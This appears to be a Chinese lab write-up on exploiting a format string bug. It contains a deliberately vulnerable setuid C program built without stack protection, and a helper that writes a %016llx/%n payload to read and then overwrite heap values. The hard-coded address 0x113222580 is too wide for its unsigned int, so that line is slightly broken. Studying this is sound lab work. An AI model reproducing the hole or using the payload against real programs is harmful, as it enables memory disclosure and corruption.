前置知识
格式化字符串漏洞是由像 printf(user_input) 这样的代码引起的,其中 user_input 是用户输入的数据,具有 Set-UID root 权限的这类程序在运行的时候,printf 语句将会变得非常危险,因为它可能会导致下面的结果:
- 使得程序崩溃
- 任意一块内存读取数据
- 修改任意一块内存里的数据
格式化字符串
printf ("The magic number is: %d", 1911);
如上 C 语言代码运行结果为 The magic number is: 1911
可以看出字符串 The magic number is: %d
中的格式符 %d
被参数1911
替换。
格式化函数的行为由格式化字符串控制,printf 函数从栈上取得参数。
printf ("a has value %d, b has value %d, c is at address: %08x\n",a, b, &c);
找secret的值
vul_prog.c
/* vul_prog.c */
#include <stdlib.h>
#include <stdio.h>
#define SECRET1 0x44
#define SECRET2 0x55
int main(int argc, char *argv[])
{
char user_input[100];
int *secret;
long int_input;
int a, b, c, d; /* other variables, not used here.*/
/* The secret value is stored on the heap */
secret = (int *) malloc(2*sizeof(int));
/* getting the secret */
secret[0] = SECRET1; secret[1] = SECRET2;
printf("The variable secret's address is 0x%8x (on stack)\n", &secret);
printf("The variable secret's value is 0x%8x (on heap)\n", secret);
printf("secret[0]'s address is 0x%8x (on heap)\n", &secret[0]);
printf("secret[1]'s address is 0x%8x (on heap)\n", &secret[1]);
printf("Please enter a decimal integer\n");
scanf("%d", &int_input); /* getting an input from user */
printf("Please enter a string\n");
scanf("%s", user_input); /* getting a string from user */
/* Vulnerable place */
printf(user_input);
printf("\n");
/* Verify whether your attack is successful */
printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]);
return 0;
}
然后编译
$ gcc -z execstack -fno-stack-protector -o vul_prog vul_prog.c
$ sudo chmod u+s vul_prog
运行vul_prog
运行 vul_prog 程序去定位 int_input 的位置,这样就确认了 %s 在格式字符串中的位置。
输入 secret[1] 的地址,记得做进制转换,同时在格式字符串中加入 %s .
修改secret的值
修改为期望值
使用格式化填充
修改vul_prog.c
把第一个 scanf 语句去掉,并去掉与 int_input 变量相关的所有语句
/* vul_prog.c */
#include <stdlib.h>
#include <stdio.h>
#define SECRET1 0x44
#define SECRET2 0x55
int main(int argc, char *argv[])
{
char user_input[100];
int *secret;
int a, b, c, d; /* other variables, not used here.*/
/* The secret value is stored on the heap */
secret = (int *) malloc(2*sizeof(int));
/* getting the secret */
secret[0] = SECRET1; secret[1] = SECRET2;
printf("The variable secret's address is 0x%8x (on stack)\n", &secret);
printf("The variable secret's value is 0x%8x (on heap)\n", secret);
printf("secret[0]'s address is 0x%8x (on heap)\n", &secret[0]);
printf("secret[1]'s address is 0x%8x (on heap)\n", &secret[1]);
printf("Please enter a string\n");
scanf("%s", user_input); /* getting a string from user */
/* Vulnerable place */
printf(user_input);
printf("\n");
/* Verify whether your attack is successful */
printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]);
return 0;
}
write_string.c
/* write_string.c */
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main()
{
char buf[1000];
int fp, size;
unsigned int *address;
/* Putting any number you like at the beginning of the format string */
address = (unsigned int *) buf;
*address = 0x113222580;
/* Getting the rest of the format string */
scanf("%s", buf+4);
size = strlen(buf+4) + 4;
printf("The string length is %d\n", size);
/* Writing buf to "mystring" */
fp = open("mystring", O_RDWR | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);
if (fp != -1) {
write(fp, buf, size);
close(fp);
} else {
printf("Open failed!\n");
}
}
编译
rm vul_prog
gcc -z execstack -fno-stack-protector -o vul_prog vul_prog.c
gcc -o write_string write_string.c
运行
先运行 vul_prog
程序,输入 4 个 %016llx
。再运行 write_string
程序,输入 8 个 %016llx
和 1 个 %n
,此操作会生成一个 mystring
文件。
然后./vul_prog < mystring
最终成功:0x8c = 140 = 8*16+8 个逗号+开头 4 个字节